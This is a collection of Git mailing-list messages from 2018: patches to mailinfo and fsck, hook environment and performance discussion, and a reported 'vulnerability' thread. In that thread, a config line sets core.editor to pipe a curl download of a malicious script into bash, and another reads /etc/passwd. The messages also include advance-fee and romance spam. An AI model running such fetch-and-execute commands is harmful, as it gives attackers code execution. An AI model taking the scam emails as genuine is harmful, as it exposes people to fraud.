Re: Git vulnerability - execution of arbitrary code through .git/conf
ah, cool! So, when a git clone is executed it generates a new .git/config to the local one (I didn't pay attention on that). Thanks a lot for the clarification Peff! On Sun, Aug 26, 2018 at 12:19 AM Jeff King wrote: > > On Sat, Aug 25, 2018 at 11:13:30PM -0300, Leo Silva (a.k.a kirotawa) wrote: > > > Hi git community! > > > > I found what seems to be a vulnerability/bug on git. I'm running > > version 2.7.4 on Ubuntu xenial, but also tested with last version > > 2.19.0.rc0.2.g29d9e3e. > > > > The steps to reproduce are: > > > > 1. open your .git/conf > > 2. add something like: > > [core] > > editor = ls /etc/passwd > > or even > > editor = curl -s http://server/path/malicious-script.sh | bash -s > > 3. run: git commit > > > > A malicious user/repo can set some code through URL or even as command > > in .git/conf and take control of your machine or silently run > > malicious code. > > This is all working as designed. There are many ways you can execute > arbitrary code by changing files in in a .git directory. As you noticed, > core.editor is one. pager.* is another one, as are hooks in .git/hooks. > > Our threat model is that the files in .git are trusted, and should be > protected through normal filesystem permissions. An important part of > that model is that a "git clone" does not copy arbitrary .git files from > the other side (only objects and refs). If you find a way around that, > it would be a problem (and in fact many of the vulnerabilities we've had > have involved somehow writing into .git from the checked-out tree). > > -Peff -- -- Leônidas S. Barbosa (Kirotawa) Security Engineer at Canonical Ltd blog: corecode.wordpress.com - "O que importa são os incontáveis pequenos atos de pessoas desconhecidas, que fundam as bases para os eventos significativos que se tornam história" - Howard Zinn
Re: Git vulnerability - execution of arbitrary code through .git/conf
On Sat, Aug 25, 2018 at 11:13:30PM -0300, Leo Silva (a.k.a kirotawa) wrote: > Hi git community! > > I found what seems to be a vulnerability/bug on git. I'm running > version 2.7.4 on Ubuntu xenial, but also tested with last version > 2.19.0.rc0.2.g29d9e3e. > > The steps to reproduce are: > > 1. open your .git/conf > 2. add something like: > [core] > editor = ls /etc/passwd > or even > editor = curl -s http://server/path/malicious-script.sh | bash -s > 3. run: git commit > > A malicious user/repo can set some code through URL or even as command > in .git/conf and take control of your machine or silently run > malicious code. This is all working as designed. There are many ways you can execute arbitrary code by changing files in in a .git directory. As you noticed, core.editor is one. pager.* is another one, as are hooks in .git/hooks. Our threat model is that the files in .git are trusted, and should be protected through normal filesystem permissions. An important part of that model is that a "git clone" does not copy arbitrary .git files from the other side (only objects and refs). If you find a way around that, it would be a problem (and in fact many of the vulnerabilities we've had have involved somehow writing into .git from the checked-out tree). -Peff
Git vulnerability - execution of arbitrary code through .git/conf
Hi git community! I found what seems to be a vulnerability/bug on git. I'm running version 2.7.4 on Ubuntu xenial, but also tested with last version 2.19.0.rc0.2.g29d9e3e. The steps to reproduce are: 1. open your .git/conf 2. add something like: [core] editor = ls /etc/passwd or even editor = curl -s http://server/path/malicious-script.sh | bash -s 3. run: git commit A malicious user/repo can set some code through URL or even as command in .git/conf and take control of your machine or silently run malicious code. []'s -- -- Leônidas S. Barbosa (Kirotawa) blog: corecode.wordpress.com - "O que importa são os incontáveis pequenos atos de pessoas desconhecidas, que fundam as bases para os eventos significativos que se tornam história" - Howard Zinn
Re: $GIT_DIR is no longer set when pre-commit hooks are called
On Wed, Aug 22, 2018 at 04:16:00PM -0700, Gregory Oschwald wrote: > As of the release of 2.18.0, $GIT_DIR is no longer set before calling > pre-commit hooks. This change was introduced in "set_work_tree: use > chdir_notify" (8500e0de) and is still present in master. > > I reviewed the discussion when this change was initially submitted, > and I don't think this behavior change was intentional. It was sort-of intentional and sort-of not. We never set intentionally GIT_DIR for hooks in the first place, but it would sometimes end up set as a side effect of other operations. So some hooks might see it and some might not. In the case of the pre-commit hook, I think it was probably set consistently, since git-commit requires a working tree, and setup_work_tree() used to set it as an accidental side effect of its absolute/relative adjustments. The "right" way to find the directory has always been "git rev-parse --git-dir" (which will use GIT_DIR if set, and otherwise do the normal discovery process). However, I am sympathetic to the breakage of existing hooks. AFAICT that while unintentional, we've probably been consistently setting $GIT_DIR in hooks for commands with work-trees since 2008, as a side effect of 044bbbcb63 (Make git_dir a path relative to work_tree in setup_work_tree(), 2008-06-19). Although I am slightly confused by this earlier thread where the OP complained that the variable is set only sometimes: https://public-inbox.org/git/CAEDDsWdXQ1+UukvbfRoTPzY3Y9sOaxQ7nh+qL_Mcuy3=xkk...@mail.gmail.com/ (and there the preferred behavior is actually _not_ to have it set, because it's a gotcha when chdir-ing to another repo). If we want to keep supporting this case, then I think we should be doing it consistently, by setting $GIT_DIR in the child environment as we run the hook. Something like the patch below, but ideally we'd apply it consistently to all hooks (of course, that would break any hooks that chdir to a new repo without resetting GIT_DIR, but such hooks are already iffy, as they may already sometimes see GIT_DIR set in the environment). diff --git a/builtin/commit.c b/builtin/commit.c index 3bfeabc463..3670024a25 100644 --- a/builtin/commit.c +++ b/builtin/commit.c @@ -1440,6 +1440,7 @@ int run_commit_hook(int editor_is_used, const char *index_file, const char *name int ret; argv_array_pushf(_env, "GIT_INDEX_FILE=%s", index_file); + argv_array_pushf(_env, "GIT_DIR=%s", get_git_dir()); /* * Let the hook know that no editor will be launched. -Peff
Re: Request for testing v2.19.0-rc0 *with builtin stash/rebase*
Hi Bryan, On Fri, 24 Aug 2018, Bryan Turner wrote: > On Fri, Aug 24, 2018 at 5:14 AM Johannes Schindelin > wrote: > > > > For that reason, I was delighted to see that our Google Summer of Code > > pushed pretty hard in that direction. And I could not help myself so I had > > to test how much faster things got. Here is the result of my first, really > > quick and dirty test: > > > > without builtin stash/rebasewith builtin stash/rebase > > t3400 (rebase) 1m27s 32s > > t3404 (rebase -i) 13m15s 3m59s > > t3903 (stash) 8m37s 1m18s > > > > What can I say? Even if the numbers are off by as much as 10%, these are > > impressive improvements: keep in mind that there is a lot of churn going > > on in the test suite because it is itself implemented in Unix shell > > scripts (and hence I won't even bother to try more correct performance > > benchmarking because that is simply not possible when Unix shell scripts > > are in the equation). So the speed improvements of the stash/rebase > > commands are *even higher* than this. > > Thanks for taking the time to make these pre-releases available. I > appreciate the effort. And the same to Junio, for always posting > release candidates. We rely on them heavily to find changes that might > cause issues before admins start upgrading in the wild and find them > for us. > > I downloaded both the rc0.1 and rc0.2 builds, as well as 2.18.0, and > ran them all through Bitbucket Server's test suite a few times (to > ensure warm disk for comparable numbers). I added support for some > "simple" rebase cases a few releases ago, so we have a set of tests > that verify the rebase behaviors we use. (We don't use git stash, so > we don't have any tests in our suite for that.) > > Running our entire Git test suite (~1,600 tests) against Git for > Windows 2.18.0 takes ~5 minutes, and 2.19.0-rc0.1 produced an almost > identical duration. Running our tests against rc0.2 cut the duration > down to 4 minutes. There were no test failures on either pre-release > build. > > To try and get a better sense of the rebase performance improvement > specifically, I filtered down to a set of 14 specific tests which use > it and ran those. On Git 2.18, those 14 tests take just over 19 > seconds. On 2.19.0-rc0.2, they take just over 8 seconds. > > When they do ship, whether it's in 2.19 (by default or optional) or > later, the changes definitely offer some significant performance wins. > > Thanks again, to everyone involved, for all the effort that went into > designing, implementing, reviewing and releasing these improvements. > As someone who develops under Windows most of the time, they make a > big difference in my day to day work. And that's not to mention all > the Bitbucket Server and Bitbucket Data Center users who will enjoy a > snappier experience as these changes make their way out into the wild. Thank you for the thorough testing! As a heads-up: after Thomas Gummerer offered some cautious thoughts, I decided to work on the stash.useBuiltin support after all: the Git for Windows v2.19.0 installer will have builtin stash and rebase as two experimental options, both defaulting to off (to protect not only Git for Windows' users, but also the maintainer's inbox). Likewise, portable Git and MinGit will support stash.useBuiltin and rebase.useBuiltin, defaulting to `false` for both. Thanks, Johannes
Re: [PATCH 0/1] Teach the builtin rebase about the builtin interactive rebase
Hi Jonathan, On Wed, 22 Aug 2018, Jonathan Nieder wrote: > Johannes Schindelin wrote: > > [nice description snipped] > > This patch fixes that. > > Please include this information in the commit message. It's super > helpful to find this kind of information about why a patch does what > it does when encountering a patch later "in the wild" (in git log -S > output). I thought I did include the relevant part? As to the full back story: I was repeatedly dressed down by Junio in recent attempts to include more motivation in my commit messages. So I am reluctant to do as you say, because Junio is the BDFL here. Ciao, Dscho
[PATCH] mailinfo: support format=flowed
Add best-effort support for patches sent using format=flowed (RFC 3676).
Remove leading spaces ("unstuff"), remove soft line breaks (indicated
by space + newline), but leave the signature separator (dash dash space
newline) alone.
Warn in git am when encountering a format=flowed patch, because any
trailing spaces would most probably be lost, as the sending MUA is
encouraged to remove them when preparing the email.
Provide a test patch formatted by Mozilla Thunderbird 60 using its
default configuration. It reuses the contents of the file mailinfo.c
before and after this patch.
Signed-off-by: Rene Scharfe
---
A test for DelSp=yes would be nice (in a separate patch; this one is
quite big already), but I don't know how to create one.
builtin/am.c|4 +
mailinfo.c | 64 +-
mailinfo.h |2 +
t/t4256-am-format-flowed.sh | 19 +
t/t4256/1/mailinfo.c| 1245 +++
t/t4256/1/mailinfo.c.orig | 1185 +
t/t4256/1/patch | 129
7 files changed, 2646 insertions(+), 2 deletions(-)
create mode 100755 t/t4256-am-format-flowed.sh
create mode 100644 t/t4256/1/mailinfo.c
create mode 100644 t/t4256/1/mailinfo.c.orig
create mode 100644 t/t4256/1/patch
diff --git a/builtin/am.c b/builtin/am.c
index 9f7ecf6ecb..2a7341cf48 100644
--- a/builtin/am.c
+++ b/builtin/am.c
@@ -1244,6 +1244,10 @@ static int parse_mail(struct am_state *state, const char
*mail)
fclose(mi.input);
fclose(mi.output);
+ if (mi.format_flowed)
+ warning(_("Patch sent with format=flowed; "
+ "space at the end of lines might be lost."));
+
/* Extract message and author information */
fp = xfopen(am_path(state, "info"), "r");
while (!strbuf_getline_lf(, fp)) {
diff --git a/mailinfo.c b/mailinfo.c
index 3281a37d51..b395adbdf2 100644
--- a/mailinfo.c
+++ b/mailinfo.c
@@ -237,11 +237,22 @@ static int slurp_attr(const char *line, const char *name,
struct strbuf *attr)
return 1;
}
+static int has_attr_value(const char *line, const char *name, const char
*value)
+{
+ struct strbuf sb = STRBUF_INIT;
+ int rc = slurp_attr(line, name, ) && !strcasecmp(sb.buf, value);
+ strbuf_release();
+ return rc;
+}
+
static void handle_content_type(struct mailinfo *mi, struct strbuf *line)
{
struct strbuf *boundary = xmalloc(sizeof(struct strbuf));
strbuf_init(boundary, line->len);
+ mi->format_flowed = has_attr_value(line->buf, "format=", "flowed");
+ mi->delsp = has_attr_value(line->buf, "delsp=", "yes");
+
if (slurp_attr(line->buf, "boundary=", boundary)) {
strbuf_insert(boundary, 0, "--", 2);
if (++mi->content_top >= >content[MAX_BOUNDARIES]) {
@@ -964,6 +975,52 @@ static int handle_boundary(struct mailinfo *mi, struct
strbuf *line)
return 1;
}
+static void handle_filter_flowed(struct mailinfo *mi, struct strbuf *line,
+struct strbuf *prev)
+{
+ size_t len = line->len;
+ const char *rest;
+
+ if (!mi->format_flowed) {
+ handle_filter(mi, line);
+ return;
+ }
+
+ if (line->buf[len - 1] == '\n') {
+ len--;
+ if (len && line->buf[len - 1] == '\r')
+ len--;
+ }
+
+ /* Keep signature separator as-is. */
+ if (skip_prefix(line->buf, "-- ", ) && rest - line->buf == len) {
+ if (prev->len) {
+ handle_filter(mi, prev);
+ strbuf_reset(prev);
+ }
+ handle_filter(mi, line);
+ return;
+ }
+
+ /* Unstuff space-stuffed line. */
+ if (len && line->buf[0] == ' ') {
+ strbuf_remove(line, 0, 1);
+ len--;
+ }
+
+ /* Save flowed line for later, but without the soft line break. */
+ if (len && line->buf[len - 1] == ' ') {
+ strbuf_add(prev, line->buf, len - !!mi->delsp);
+ return;
+ }
+
+ /* Prepend any previous partial lines */
+ strbuf_insert(line, 0, prev->buf, prev->len);
+ strbuf_reset(prev);
+
+ handle_filter(mi, line);
+}
+
static void handle_body(struct mailinfo *mi, struct strbuf *line)
{
struct strbuf prev = STRBUF_INIT;
@@ -1012,7 +1069,7 @@ static void handle_body(struct mailinfo *mi, struct
strbuf *line)
strbuf_addbuf(, sb);
break;
}
- handle_filter(mi, sb);
+ handle_filter_flowed(mi, sb, );
}
/*
* The partial chunk is saved in "prev" and will be
@@ -1022,13 +1079,16 @@ static void
Honest And Truthful 08/252018
I wish to seek for your assistance in a deal that will be of mutual benefit for the both of us from Camp Stanley, Stationed in Uijeongbu, South Korea. Please get back to me for more info. Thank you for your time. Sgt.Joan Martinez
[PATCH v2 2/2] fsck: use oidset for skiplist
Object IDs to skip are stored in a shared static oid_array. Lookups do
a binary search on the sorted array. The code checks if the object IDs
are already in the correct order while loading and skips sorting in that
case. Lookups are done before reporting a (non-fatal) corruption and
before checking .gitmodules files.
Simplify the code by using an oidset instead. Memory usage is a bit
higher, but we don't need to worry about any sort order anymore. Embed
the oidset into struct fsck_options to make its ownership clear (no
hidden sharing) and avoid unnecessary pointer indirection.
Performance on repositories with a low number of reported issues and
.gitmodules files (i.e. the usual case) won't be affected much. The
oidset should be a bit quicker with higher numbers of bad objects in
the skipList.
Helped-by: Ævar Arnfjörð Bjarmason
Signed-off-by: Rene Scharfe
---
Added small documentation update.
Documentation/config.txt | 2 +-
fsck.c | 23 ++-
fsck.h | 8 +---
3 files changed, 8 insertions(+), 25 deletions(-)
diff --git a/Documentation/config.txt b/Documentation/config.txt
index 2fa65b7516..80ab570579 100644
--- a/Documentation/config.txt
+++ b/Documentation/config.txt
@@ -1715,7 +1715,7 @@ doing the same for `receive.fsck.` and
`fetch.fsck.`
will only cause git to warn.
fsck.skipList::
- The path to a sorted list of object names (i.e. one SHA-1 per
+ The path to a list of object names (i.e. one SHA-1 per
line) that are known to be broken in a non-fatal way and should
be ignored. This feature is useful when an established project
should be accepted despite early commits containing errors that
diff --git a/fsck.c b/fsck.c
index 972a26b9ba..4c643f1d40 100644
--- a/fsck.c
+++ b/fsck.c
@@ -10,7 +10,6 @@
#include "fsck.h"
#include "refs.h"
#include "utf8.h"
-#include "sha1-array.h"
#include "decorate.h"
#include "oidset.h"
#include "packfile.h"
@@ -182,19 +181,10 @@ static int fsck_msg_type(enum fsck_msg_id msg_id,
static void init_skiplist(struct fsck_options *options, const char *path)
{
- static struct oid_array skiplist = OID_ARRAY_INIT;
- int sorted;
FILE *fp;
struct strbuf sb = STRBUF_INIT;
struct object_id oid;
- if (options->skiplist)
- sorted = options->skiplist->sorted;
- else {
- sorted = 1;
- options->skiplist =
- }
-
fp = fopen(path, "r");
if (!fp)
die("Could not open skip list: %s", path);
@@ -202,19 +192,12 @@ static void init_skiplist(struct fsck_options *options,
const char *path)
const char *p;
if (parse_oid_hex(sb.buf, , ) || *p != '\0')
die("Invalid SHA-1: %s", sb.buf);
- oid_array_append(, );
- if (sorted && skiplist.nr > 1 &&
- oidcmp([skiplist.nr - 2],
- ) > 0)
- sorted = 0;
+ oidset_insert(>skiplist, );
}
if (ferror(fp))
die_errno("Could not read '%s'", path);
fclose(fp);
strbuf_release();
-
- if (sorted)
- skiplist.sorted = 1;
}
static int parse_msg_type(const char *str)
@@ -319,9 +302,7 @@ static void append_msg_id(struct strbuf *sb, const char
*msg_id)
static int object_on_skiplist(struct fsck_options *opts, struct object *obj)
{
- if (opts && opts->skiplist && obj)
- return oid_array_lookup(opts->skiplist, >oid) >= 0;
- return 0;
+ return opts && obj && oidset_contains(>skiplist, >oid);
}
__attribute__((format (printf, 4, 5)))
diff --git a/fsck.h b/fsck.h
index 0c7e8c9428..b95595ae5f 100644
--- a/fsck.h
+++ b/fsck.h
@@ -1,6 +1,8 @@
#ifndef GIT_FSCK_H
#define GIT_FSCK_H
+#include "oidset.h"
+
#define FSCK_ERROR 1
#define FSCK_WARN 2
#define FSCK_IGNORE 3
@@ -35,12 +37,12 @@ struct fsck_options {
fsck_error error_func;
unsigned strict:1;
int *msg_type;
- struct oid_array *skiplist;
+ struct oidset skiplist;
struct decoration *object_names;
};
-#define FSCK_OPTIONS_DEFAULT { NULL, fsck_error_function, 0, NULL }
-#define FSCK_OPTIONS_STRICT { NULL, fsck_error_function, 1, NULL }
+#define FSCK_OPTIONS_DEFAULT { NULL, fsck_error_function, 0, NULL, OIDSET_INIT
}
+#define FSCK_OPTIONS_STRICT { NULL, fsck_error_function, 1, NULL, OIDSET_INIT }
/* descend in all linked child objects
* the return value is:
--
2.18.0
[PATCH v2 1/2] fsck: use strbuf_getline() to read skiplist file
buffer is unlikely to contain a NUL character, so printing its contents
using %s in a die() format is unsafe (detected with ASan).
Use an idiomatic strbuf_getline() loop instead, which ensures the buffer
is always NUL-terminated, supports CRLF files as well, accepts files
without a newline after the last line, supports any hash length
automatically, and is shorter.
Helped-by: Jeff King
Signed-off-by: Rene Scharfe
---
Added error check.
Hopefully fixed my MUA config..
fsck.c | 25 -
1 file changed, 12 insertions(+), 13 deletions(-)
diff --git a/fsck.c b/fsck.c
index a0cee0be59..972a26b9ba 100644
--- a/fsck.c
+++ b/fsck.c
@@ -183,8 +183,9 @@ static int fsck_msg_type(enum fsck_msg_id msg_id,
static void init_skiplist(struct fsck_options *options, const char *path)
{
static struct oid_array skiplist = OID_ARRAY_INIT;
- int sorted, fd;
- char buffer[GIT_MAX_HEXSZ + 1];
+ int sorted;
+ FILE *fp;
+ struct strbuf sb = STRBUF_INIT;
struct object_id oid;
if (options->skiplist)
@@ -194,25 +195,23 @@ static void init_skiplist(struct fsck_options *options,
const char *path)
options->skiplist =
}
- fd = open(path, O_RDONLY);
- if (fd < 0)
+ fp = fopen(path, "r");
+ if (!fp)
die("Could not open skip list: %s", path);
- for (;;) {
+ while (!strbuf_getline(, fp)) {
const char *p;
- int result = read_in_full(fd, buffer, sizeof(buffer));
- if (result < 0)
- die_errno("Could not read '%s'", path);
- if (!result)
- break;
- if (parse_oid_hex(buffer, , ) || *p != '\n')
- die("Invalid SHA-1: %s", buffer);
+ if (parse_oid_hex(sb.buf, , ) || *p != '\0')
+ die("Invalid SHA-1: %s", sb.buf);
oid_array_append(, );
if (sorted && skiplist.nr > 1 &&
oidcmp([skiplist.nr - 2],
) > 0)
sorted = 0;
}
- close(fd);
+ if (ferror(fp))
+ die_errno("Could not read '%s'", path);
+ fclose(fp);
+ strbuf_release();
if (sorted)
skiplist.sorted = 1;
--
2.18.0
Re: [PATCH 2/2] fsck: use oidset for skiplist
Am 11.08.2018 um 18:54 schrieb Ævar Arnfjörð Bjarmason: > > On Sat, Aug 11 2018, René Scharfe wrote: > >> Object IDs to skip are stored in a shared static oid_array. Lookups do >> a binary search on the sorted array. The code checks if the object IDs >> are already in the correct order while loading and skips sorting in that >> case. > > I think this change makes sense, but it's missing an update to the > relevant documentation in Documentation/config.txt: > > fsck.skipList:: > The path to a sorted list of object names (i.e. one SHA-1 per > line) that are known to be broken in a non-fatal way and should > be ignored. This feature is useful when an established project > should be accepted despite early commits containing errors that > can be safely ignored such as invalid committer email addresses. > Note: corrupt objects cannot be skipped with this setting. > > Also, while I use the skipList feature it's for something on the order > of 10-100 objects, so whatever algorithm the lookup uses isn't going to > matter, but I think it's interesting to describe the trade-off in the > commit message. > > I.e. what if I have 100K objects listed in the skipList, is it only > going to be read lazily during fsck if there's an issue, or on every > object etc? What's the difference in performance? The list is loaded once up-front and a lookup is done for each reportable issue and .gitmodules file. Repositories without them won't be affected at all. 100K bad objects sounds a bit extreme, but a fast-import can create such a repository relatively quickly. Here are the numbers with and without the two patches: Testorigin/master HEAD 1450.3: fsck with 0 skipped bad commits 0.84(0.78+0.05) 0.83(0.80+0.03) -1.2% 1450.5: fsck with 1 skipped bad commits 0.84(0.77+0.07) 0.84(0.79+0.05) +0.0% 1450.7: fsck with 10 skipped bad commits0.86(0.81+0.05) 0.84(0.78+0.06) -2.3% 1450.9: fsck with 100 skipped bad commits 0.85(0.78+0.07) 0.84(0.78+0.05) -1.2% 1450.11: fsck with 1000 skipped bad commits 0.85(0.80+0.05) 0.84(0.79+0.05) -1.2% 1450.13: fsck with 1 skipped bad commits0.85(0.78+0.07) 0.82(0.75+0.06) -3.5% 1450.15: fsck with 10 skipped bad commits 0.73(0.64+0.09) 0.64(0.62+0.02) -12.3% They look the same for most sizes, but with all 10 bad objects in the skiplist the oidset wins decisively. Dialing it up a notch: Test origin/master HEAD - 1450.3: fsck with 0 skipped bad commits 8.61(7.94+0.66) 8.72(8.14+0.58) +1.3% 1450.5: fsck with 1 skipped bad commits 8.51(7.87+0.63) 8.53(7.93+0.60) +0.2% 1450.7: fsck with 10 skipped bad commits 8.56(7.98+0.57) 8.54(7.91+0.63) -0.2% 1450.9: fsck with 100 skipped bad commits8.65(8.00+0.65) 8.47(7.93+0.53) -2.1% 1450.11: fsck with 1000 skipped bad commits 8.69(8.16+0.53) 8.49(8.00+0.49) -2.3% 1450.13: fsck with 1 skipped bad commits 8.69(8.13+0.56) 8.50(7.93+0.56) -2.2% 1450.15: fsck with 10 skipped bad commits8.78(8.18+0.60) 8.36(7.85+0.50) -4.8% 1450.17: fsck with 100 skipped bad commits 7.83(7.07+0.76) 6.55(6.42+0.12) -16.3% So it looks like successful lookups are faster in the oidset and the oid_array is quicker with just a handful of entries. A L1 cache line of 64 bytes holds 3 consecutive SHA1 hashes, which might explain it. Here's the perf test code: --- t/perf/p1450-fsck.sh | 40 1 file changed, 40 insertions(+) create mode 100755 t/perf/p1450-fsck.sh diff --git a/t/perf/p1450-fsck.sh b/t/perf/p1450-fsck.sh new file mode 100755 index 00..7c89690777 --- /dev/null +++ b/t/perf/p1450-fsck.sh @@ -0,0 +1,40 @@ +#!/bin/sh + +test_description='Test fsck skipList performance' + +. ./perf-lib.sh + +test_perf_fresh_repo + +n=10 + +test_expect_success "setup $n bad commits" ' + for i in $(test_seq 1 $n) + do + echo "commit refs/heads/master" && + echo "committer C 1234567890 +" && + echo "data
Re: [PATCH 2/2] fsck: use oidset for skiplist
Am 11.08.2018 um 22:48 schrieb Ramsay Jones:
> On 11/08/18 16:47, René Scharfe wrote:
>> @@ -34,12 +36,12 @@ struct fsck_options {
>> fsck_error error_func;
>> unsigned strict:1;
>> int *msg_type;
>> - struct oid_array *skiplist;
>> + struct oidset skiplist;
>> struct decoration *object_names;
>> };
>>
>> -#define FSCK_OPTIONS_DEFAULT { NULL, fsck_error_function, 0, NULL }
>> -#define FSCK_OPTIONS_STRICT { NULL, fsck_error_function, 1, NULL }
>> +#define FSCK_OPTIONS_DEFAULT { NULL, fsck_error_function, 0, NULL,
>> OIDSET_INIT }
>> +#define FSCK_OPTIONS_STRICT { NULL, fsck_error_function, 1, NULL,
>> OIDSET_INIT }
>
> Note that a NULL initialiser, for the object_names field, is missing
> (not introduced by this patch). Since you have bumped into the 80th
> column, you may not want to add that NULL to the end of these macros
> (it is not _necessary_ after all). However, ... :-D
Exactly my thoughts -- except the "However" part. :)
I even thought about reordering the struct to move the NULL-initialized
elements to the end, allowing us to drop them from the initializer, but
felt that this would be a bit too much..
René
Ruth
I'm Ruth, i am 26yrs old, i'm a free minded,open hearted girl,i'm one of the few that still believes in friendship, love, trust and signs, I'm very much single and ready to mingle,i will like to be your friend if you don't mind, i hope you will not take my request for granted,feel free to email me, i will appreciate it if you can send me some pics to my private email,write back Jeg er Ruth, jeg er 26 år gammel, jeg er en fritt sinnet, åpenhjertet jente, jeg er en av de få som fortsatt tror på vennskap, kjærlighet, tillit og tegn, jeg er veldig enkelt singel og klar til å blande meg , jeg vil gjerne være vennen din hvis du ikke har noe imot, jeg håper du ikke vil ta min forespørsel for gitt, gjerne email meg, jeg vil sette pris på det hvis du kan sende meg noen bilder til min private e-post, skrive tilbake
Re: Would a config var for --force-with-lease be useful?
I think there are two aspects to using "force with lease". Firstly, you, a person aware of the option, using it. In this case I think an alias is very fitting, because you get quickly used to just typing `git pf` or so. Plus, you don't have the disadvantage you described: if you’re working on a machine without your alias, you’ll just notice immediately and type the full option. The other aspect is working in a team. The problem there is, that most (at least in my surroundings) use plain --force and you have to make them aware of --force-with-lease. But with an option or an alias, you depend on them using force with lease instead of plain force, so again I don't really see the advantage of such an option. And lastly, a question: say you are using your proposed option and it is turned on. Now, git refuses to push, you clarify the situation and actually mean to push --force now. How would you do this? 1) turn off 2) push 3) turn option on again? Regards, Constantin Quoting Scott Johnson (2018-08-24 18:39:27) > Hello Everyone: > > I'm considering writing a patch that adds a configuration variable > that will allow the user to default the command: > > git push --force > > to: > > git push --force-with-lease > > As discussed here: > > https://stackoverflow.com/questions/30542491/push-force-with-lease-by-default > > Now, I understand that there are downsides to having this enabled, > namely that a user who has this enabled might forget that they have it > enabled, and, as such, on a machine that _doesn't_ have it enabled (of > which they are unfamiliar) might then run the more consequential > command "git push --force", but my thinking is that adding this as a > feature to the git codebase as an _optional_ (i.e. not enabled by > default) configuration variable would then save some of us who use a > "rebase-then-force-push for pull request" workflow some time and > headaches. > > Of course, I don't want to submit a patch if this is a feature that > isn't likely to be accepted, so I wanted to get some thoughts from the > mailing list regarding this idea. > > Thank you, > > ~Scott Johnson
[PATCH v2] Document update for nd/unpack-trees-with-cache-tree
Fix an incorrect comment in the new code added in b4da37380b (unpack-trees: optimize walking same trees with cache-tree - 2018-08-18) and document about the new test variable that is enabled by default in test-lib.sh in 4592e6080f (cache-tree: verify valid cache-tree in the test suite - 2018-08-18) Signed-off-by: Nguyễn Thái Ngọc Duy --- Some more typo fix, found by Martin. t/README | 4 unpack-trees.c | 4 ++-- 2 files changed, 6 insertions(+), 2 deletions(-) diff --git a/t/README b/t/README index 8373a27fea..0e7cc23734 100644 --- a/t/README +++ b/t/README @@ -315,6 +315,10 @@ packs on demand. This normally only happens when the object size is over 2GB. This variable forces the code path on any object larger than bytes. +GIT_TEST_VALIDATE_INDEX_CACHE_ENTRIES= checks that cache-tree +records are valid when the index is written out or after a merge. This +is mostly to catch missing invalidation. Default is true. + Naming Tests diff --git a/unpack-trees.c b/unpack-trees.c index 3394540842..515c374373 100644 --- a/unpack-trees.c +++ b/unpack-trees.c @@ -676,8 +676,8 @@ static int index_pos_by_traverse_info(struct name_entry *names, /* * Fast path if we detect that all trees are the same as cache-tree at this - * path. We'll walk these trees recursively using cache-tree/index instead of - * ODB since already know what these trees contain. + * path. We'll walk these trees in an iterative loop using cache-tree/index + * instead of ODB since we already know what these trees contain. */ static int traverse_by_cache_tree(int pos, int nr_entries, int nr_names, struct name_entry *names, -- 2.19.0.rc0.337.ge906d732e7
Re: [PATCH] Document update for nd/unpack-trees-with-cache-tree
On Sat, 25 Aug 2018 at 14:22, Nguyễn Thái Ngọc Duy wrote: > * Fast path if we detect that all trees are the same as cache-tree at this > - * path. We'll walk these trees recursively using cache-tree/index instead of > - * ODB since already know what these trees contain. > + * path. We'll walk these trees in an iteractive loop using cache-tree/index > + * instead of ODB since already know what these trees contain. s/iteractive/iterative/ (i.e., drop "c") Not new, but still: s/already/we already/ Martin
[PATCH] Document update for nd/unpack-trees-with-cache-tree
Fix an incorrect comment in the new code added in b4da37380b (unpack-trees: optimize walking same trees with cache-tree - 2018-08-18) and document about the new test variable that is enabled by default in test-lib.sh in 4592e6080f (cache-tree: verify valid cache-tree in the test suite - 2018-08-18) Signed-off-by: Nguyễn Thái Ngọc Duy --- On top of nd/unpack-trees-with-cache-tree. Incremental update since this topic has entered 'next' t/README | 4 unpack-trees.c | 4 ++-- 2 files changed, 6 insertions(+), 2 deletions(-) diff --git a/t/README b/t/README index 8373a27fea..0e7cc23734 100644 --- a/t/README +++ b/t/README @@ -315,6 +315,10 @@ packs on demand. This normally only happens when the object size is over 2GB. This variable forces the code path on any object larger than bytes. +GIT_TEST_VALIDATE_INDEX_CACHE_ENTRIES= checks that cache-tree +records are valid when the index is written out or after a merge. This +is mostly to catch missing invalidation. Default is true. + Naming Tests diff --git a/unpack-trees.c b/unpack-trees.c index 3394540842..5a18f36143 100644 --- a/unpack-trees.c +++ b/unpack-trees.c @@ -676,8 +676,8 @@ static int index_pos_by_traverse_info(struct name_entry *names, /* * Fast path if we detect that all trees are the same as cache-tree at this - * path. We'll walk these trees recursively using cache-tree/index instead of - * ODB since already know what these trees contain. + * path. We'll walk these trees in an iteractive loop using cache-tree/index + * instead of ODB since already know what these trees contain. */ static int traverse_by_cache_tree(int pos, int nr_entries, int nr_names, struct name_entry *names, -- 2.19.0.rc0.337.ge906d732e7
Re: [PATCH 2/9] introduce hasheq() and oideq()
On 25/08/18 10:05, Jeff King wrote: > The main comparison functions we provide for comparing > object ids are hashcmp() and oidcmp(). These are more > flexible than a strict equality check, since they also > express ordering. That makes them them useful for sorting s/them them/them/ > We can solve that by introducing a hasheq() function (and > matching oideq() wrapper), which callers can use to make s/make/& it/ > clear that they only care about equality. For now, the > implementation will literally be "!hashcmp()", but it frees > us up later to introduce code optimized specifically for the > equality check. > > Signed-off-by: Jeff King
Re: [PATCH 3/9] convert "oidcmp() == 0" to oideq()
On Sat, Aug 25, 2018 at 04:07:15AM -0400, Jeff King wrote:
> diff --git a/contrib/coccinelle/object_id.cocci
> b/contrib/coccinelle/object_id.cocci
> index 5869979be7..548c02336d 100644
> --- a/contrib/coccinelle/object_id.cocci
> +++ b/contrib/coccinelle/object_id.cocci
> @@ -108,3 +108,9 @@ expression E1, E2;
> @@
> - hashcpy(E1.hash, E2->hash)
> + oidcpy(, E2)
> +
> +@@
> +expression E1, E2;
> +@@
> +- oidcmp(E1, E2) == 0
> ++ oideq(E1, E2)
>
> [...]
>
> diff --git a/cache.h b/cache.h
> index f6d227fac7..d090f71706 100644
> --- a/cache.h
> +++ b/cache.h
> @@ -1100,7 +1100,7 @@ static inline int is_empty_blob_sha1(const unsigned
> char *sha1)
>
> static inline int is_empty_blob_oid(const struct object_id *oid)
> {
> - return !oidcmp(oid, the_hash_algo->empty_blob);
> + return oideq(oid, the_hash_algo->empty_blob);
> }
By the way, one interesting thing I noticed is that coccinelle generates
the hunk for cache.h for _every_ file that includes it, and the
resulting patch is annoying to apply. I think this is related to the
discussion we were having in:
https://public-inbox.org/git/20180802115522.16107-1-szeder@gmail.com/
Namely that we might do better to invoke one big spatch (and let it
